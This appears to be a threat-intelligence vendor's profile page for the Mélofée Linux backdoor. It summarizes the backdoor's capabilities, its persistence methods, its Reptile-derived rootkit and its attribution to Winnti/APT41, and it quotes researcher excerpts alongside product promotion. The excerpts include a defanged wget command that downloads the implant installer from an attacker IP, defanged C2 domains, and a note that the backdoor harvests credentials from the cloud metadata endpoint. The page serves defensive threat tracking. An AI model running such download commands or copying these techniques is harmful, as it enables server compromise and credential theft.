Loading malware…
Mélofée is a Linux C++ backdoor and implant family targeting Linux servers, including Red Hat Enterprise Linux systems. It has been linked with high confidence to China-nexus activity associated with the Winnti/APT41 ecosystem. The family supports remote command execution and shell access, file and directory manipulation, process management, local-system information collection, configuration updates, and multiple command-and-control transports, including TCP, TLS, and UDP/KCP. Later variants added encrypted configuration and command-and-control handling, improved persistence and single-instance controls, and functionality apparently intended to redirect traffic through firewall rules.
Mélofée can establish persistence through system boot scripts when executed with root privileges and through shell-profile startup files when operating as an unprivileged user; a later variant also used scheduled cron execution. Some versions deploy a modified Reptile-derived Linux kernel rootkit. This rootkit conceals malware-related files, directories, processes, file contents, loaded modules, and network connections, and accepts control commands from the user-mode implant through ioctl handling. The rootkit integration and stealth-oriented deployment indicate use as a persistent server backdoor in targeted espionage-oriented intrusions. Infrastructure and tooling overlaps have connected Mélofée activity with Winnti-associated tools including ShadowPad, PlugX, HelloBot, Spark, Cobalt Strike, and StowAway.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
ExaTrack’s report analyzing the Mélofée malware, Reptile rootkit was also identified. ExaTrack attributes this to the activities of the Winnti attack group based in China.
23 distinct techniques documented for this family, organized by ATT&CK tactic.
Using the configurations extracted, we also were able to find strong infrastructure links between HelloBot and Winnti, for example both used a subdomain of git1ab[.]com and cloudf1are[.]com as C&C servers.
The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server.
“LKM rootkits leverage different kernel features to hook kernel functions” and are used “to hide malicious activity by hooking execution flow.”
A 2.7 MB ELF binary with near-maximum entropy (7.997 bits per byte across ~832 KB of code). The obfuscation isn't packing -- it's a custom code virtualizer or instruction-level transformation that renders static analysis effectively impossible without dedicated devirtualization tooling.
The most operationally significant capability is the backdoor's access to cloud instance metadata at 169.254.169.254 . This is the link-local address that every major cloud provider uses to serve instance credentials, API tokens, and configuration data to running workloads.
three socket types are implemented: TCPSocket... TLSSocket... UDPSocket... Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications
TLSSocket (type 0x1), using a TLS encrypted channel to exchange with the C&C server; ... leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications
0x10004 create_socket Create a bidirectional socket, probably used for proxying
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd
19 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Referenced as a 2024 member of the Winnti ELF lineage preceding the current sample.
A C++ ELF backdoor for Linux (noted targeting RHEL 7.9) that supports data collection, process management, file handling, and shell access. This variant embeds an RC4-encrypted kernel driver to hide files/processes/network connections and uses an RC4-encrypted C2 configuration to communicate with a remote server for command execution.
Malware/campaign referenced as having been documented with the Reptile rootkit.
Mélofée is a backdoor attributed to WinnTI, used for persistent access and espionage.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.